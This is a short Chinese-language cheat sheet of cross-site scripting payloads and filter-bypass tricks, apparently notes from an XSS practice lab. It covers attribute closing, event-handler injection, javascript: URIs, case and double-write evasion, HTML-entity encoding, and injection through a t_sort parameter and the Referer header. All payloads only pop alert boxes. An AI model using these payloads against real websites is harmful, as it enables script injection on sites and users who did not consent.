xss构造

万能检测语句 <SCRscriptIPT>’”()Oonnjavascript，通过它我们可以知道过滤了那些东西。

"><script>alert(123)</script>//
有value时，把value里的内容用">给闭合，再把后面的>用//给注释掉

如果被转义了，无法闭合，就在input标签内添加一个事件，可选比如说onclick,onfocus等,再去把前面的内容闭合掉，把后面的内容注释掉

标签法："><a href="javascript:alert('abc')">//

大小写法："><SCRIPT>alert(123)</SCRIPT>

双写绕过：<SCRscriptIPT>alert(/pig/)</SCRscriptIPT>

转为html编码来绕过：java&#115;&#99;&#114;&#105;&#112;&#116;:alert(123)

-->对"和:符号也进行转html编码处理：java&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(&#34;http://")

把value值闭合，创建一个新的type值，再创建一个事件：t_sort="type="text"οnclick="alert(123)"

Referer值里进行修改："type="text"οnclick="alert('abc')